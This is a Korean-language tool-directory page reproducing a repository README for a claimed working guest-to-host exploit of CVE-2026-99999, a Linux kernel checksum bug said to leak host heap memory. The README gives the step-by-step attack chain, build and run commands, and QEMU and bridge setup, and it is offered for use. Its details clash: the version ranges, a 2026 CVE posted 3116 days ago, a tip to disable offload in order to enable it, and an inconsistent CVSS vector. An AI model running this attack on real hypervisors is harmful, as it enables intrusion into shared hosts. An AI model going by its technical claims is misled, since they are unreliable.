Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-99999-exploit — CVE-2026-99999 동작하는 PoC — Linux 커널 csum_start 버그에 대한 실제 VM 탈출(CVSS 9.3). 게스트에서 호스트로의 힙 누출. 참고: CVE-2026-99999-analysis (교육용). | Kitploit
도구/GitHubGitHub/01luyicheng/cve-2026-99999-exploit
Vulnerability AnalysisExploitationInformation GatheringSecurity VirtualizationPapers & ResearchContainer Escape
GitHub01luyicheng/cve-2026-99999-exploit

CVE-2026-99999-exploit

CVE-2026-99999 동작하는 PoC — Linux 커널 csum_start 버그에 대한 실제 VM 탈출(CVSS 9.3). 게스트에서 호스트로의 힙 누출. 참고: CVE-2026-99999-analysis (교육용).

저장소 보기
3116일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-99999 — PoC 익스플로잇 저장소

⚠️ 이것은 실제로 동작하는 익스플로잇 저장소입니다. 실제 KVM/QEMU 환경에서 CVE-2026-99999 취약점을 트리거하는 실제 익스플로잇 코드를 포함하고 있습니다.

📚 동일한 공격 체인을 안전하게 로컬에서만 시뮬레이션하려면 **CVE-2026-99999-analysis**를 참고하세요 (root 불필요, 네트워크 불필요, 순수 Python — 랩 없이 버그를 이해하기에 적합합니다).

취약점 요약

CVE-2026-99999 — GSO 세그멘테이션 경로에서의 Linux 커널 IPv4 csum_start 검증 버그입니다. 게스트 VM은 아웃바운드 패킷 프래그먼트당 약 32–64바이트의 호스트 커널 힙 메모리를 유출시킬 수 있습니다.

CVSS 9.3 | CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

영향받는 커널: 다음 수정 커밋 이전의 모든 버전:

  • 5.10.272+, 5.15.223+, 6.1.190+, 6.12.113+, 6.18.57+, 7.2.11+

공격자 모델: KVM 게스트 VM 내부의 비특권 코드.


저장소 구조

.
├── README.md                    ← This file
├── guest/
│   ├── exploit_guest.c          ← Exploit (guest side)
│   ├── Makefile
│   └── README.md
└── host/
    ├── receive_and_dump.py      ← Leak detector (host side)
    └── setup_bridge.sh          ← TAP bridge setup (host side)

공격 체인

1. GUEST: build_crafted_packet()
   └── [virtio_net_hdr(csum_start=0)] + [Eth] + [IP] + [UDP] + [payload]
           ↑
           csum_start=0 → points at IP header, NOT transport header

2. GUEST → QEMU (vhost-user)
   └── Guest enqueues packet via TX virtqueue
   └── QEMU reads descriptor → pulls malicious frame

3. HOST KERNEL: GSO segmentation path
   └── skb_checksum_help() reads csum_start (0) and csum_offset (0)
   └── Writes checksum result to byte 0 = IHL byte

4. HOST KERNEL: IHL corruption
   └── IHL: 0x45 (IHL=5, 20 bytes) → 0x4F (IHL=15, 60 bytes)

5. HOST KERNEL: ip_do_fragment() OOB read
   └── Reads 60 bytes of "IP header" when only 20 bytes exist
   └── Bytes 20-60 are adjacent host-kernel heap memory!

6. HOST: Outbound fragment
   └── Each fragment contains ~32-64 bytes of host-kernel heap memory
   └── Captured by receive_and_dump.py on the host bridge

빌드

게스트 측

# vhost-user mode (default — full vhost-user protocol implementation)
gcc -Wall -Wextra -O2 -o exploit_guest guest/exploit_guest.c -lpthread -lrt

# TAP bypass mode (no vhost-user socket needed)
gcc -Wall -Wextra -DUSE_TAP -O2 -o exploit_guest guest/exploit_guest.c -lpthread -lrt

호스트 측

# Leak detector
pip3 install scapy
python3 host/receive_and_dump.py --help

사용법

옵션 A: vhost-user 모드 (권장)

필수 조건:

  • -netdev vhost-user,...로 시작된 QEMU
  • memfd 또는 tmpfs를 통해 QEMU와 공유되는 게스트 메모리
  • 게스트 내 root 권한
# On the host — start QEMU with vhost-user (socket on shared filesystem)
qemu-system-x86_64 \
  -m 2G -smp 2 \
  -hda /path/to/guest.img \
  -netdev vhost-user,id=net0,chardev=char0 \
  -device virtio-net-pci,netdev=net0,mac=52:54:00:12:34:56 \
  -chardev socket,id=char0,path=/tmp/vhost.sock,server=on,wait=off \
  -enable-kvm \
  -nographic

# On the host — start the leak detector
sudo python3 host/receive_and_dump.py --interface tap0 --packets 20 --verbose

# In the guest
sudo ./exploit_guest --socket /tmp/vhost.sock -n 20 -v

옵션 B: TAP 우회 모드

요구 사항:

  • 호스트 브리지에 연결된 TAP 장치
  • 게스트 내 root 또는 CAP_NET_RAW
  • 호스트의 bridge-nf-call-iptables=1 (GSO 경로용)
# On the host
sudo ip link add br0 type bridge
sudo ip link set br0 up
sudo ip addr add 10.0.0.1/24 dev br0
sudo ip tuntap add dev tap0 mode tap
sudo ip link set tap0 master br0
sudo ip link set tap0 up
python3 host/receive_and_dump.py --interface tap0 --packets 20 --verbose

# In the guest
gcc -DUSE_TAP -O2 -o exploit_guest guest/exploit_guest.c -lpthread -lrt
sudo ./exploit_guest --tap tap0 -n 20 -v

기술 참고 사항

vhost-user 메모리 공유

이 익스플로잇은 QEMU가 게스트의 TX virtqueue 메모리를 읽을 수 있어야 합니다. 공유 메모리가 없으면 QEMU는 디스크립터를 읽을 수 없으며, 패킷은 큐에 추가되지만 전송되지 않습니다.

테스트 시 다음 중 하나를 사용하십시오:

# Option 1: memfd (QEMU ≥ 4.2, Linux ≥ 3.17)
# Pass -object memory-backend-memfd,id=mem0,share=on to QEMU

# Option 2: tmpfs
mkdir -p /mnt/guest-shared
mount -t tmpfs -o size=64M tmpfs /mnt/guest-shared
# Point SET_MEM_TABLE at this region

# Option 3: hugetlbfs
mount -t hugetlbfs -o pagesize=2M hugetlbfs /mnt/hugepages
# Use hugetlbfs region in SET_MEM_TABLE

GSO 경로 사전 요구 사항

CVE 트리거는 호스트 커널이 GSO 세그멘테이션 경로를 통해 프레임을 처리하도록 요구합니다. 이는 다음과 같은 경우에 발생합니다:

  • 프레임에 IP_MF(More Fragments) 플래그가 설정되어 강제 단편화가 발생하는 경우
  • virtio-net 장치에서 체크섬 오프로드가 활성화된 경우
  • 프레임이 MTU보다 커서 GSO 세그멘테이션이 강제되는 경우

익스플로잇은 GSO 세그멘테이션을 보장하기 위해 모든 패킷에 IP_MF를 설정합니다.

탐지

호스트 측 탐지기(receive_and_dump.py)는 다음을 통해 CVE-2026-99999를 식별합니다:

  1. 브리지 인터페이스에서 패킷 캡처
  2. 손상된 IHL 바이트 탐지(version_ihl & 0x0F > 5)
  3. 초과 바이트를 잠재적인 커널 힙 메모리 누출로 보고

파일

guest/exploit_guest.c   ← Full vhost-user implementation (handshake + virtqueue + packet TX)
host/receive_and_dump.py ← Packet capture + leak detection on host
host/setup_bridge.sh    ← TAP bridge setup helper script

문제 해결

"Cannot connect to vhost-user socket"

  • QEMU가 vhost-user로 실행 중인지, 소켓이 존재하는지 확인하세요
  • 확인: ls -la /tmp/vhost.sock

"Host does not support VIRTIO_NET_F_CSUM"

  • QEMU/KVM 구성에서 체크섬 오프로드가 활성화되어 있지 않습니다
  • QEMU에 추가: -device virtio-net-pci,netdev=net0,csum=off,host_csum=off — 비활성화가 아니라 활성화하세요

"Host does NOT support VIRTIO_NET_F_CSUM" (익스플로잇 출력)

  • 호스트의 vhost-user 백엔드가 체크섬 오프로드 기능을 협상하지 못했습니다
  • 일부 QEMU 구성에서는 정상적인 현상입니다
  • 대신 TAP 우회 모드를 시도하세요

손상된 패킷이 감지되지 않음

  • 호스트 커널이 패치되지 않은 상태인지 확인하세요 (5.10.272, 5.15.223, 6.1.190 이전)
  • 확인: uname -r
  • 발신 패킷에 IP_MF 플래그가 설정되는지 확인하세요
  • 호스트 브리지에서 Wireshark를 실행하여 원시 프레임을 관찰해 보세요

권한 거부됨

  • 게스트: root 또는 sudo 필요
  • 호스트: 패킷 캡처 및 TAP 설정을 위해 root 또는 sudo 필요

면책 조항

격리된 실험실 환경에서의 승인된 보안 연구 전용입니다. 소유하지 않았거나 테스트에 대한 서면 허가가 없는 시스템에 대한 무단 사용은 불법입니다. 저자는 오용에 대해 어떠한 책임도 지지 않습니다.

도구 다운로드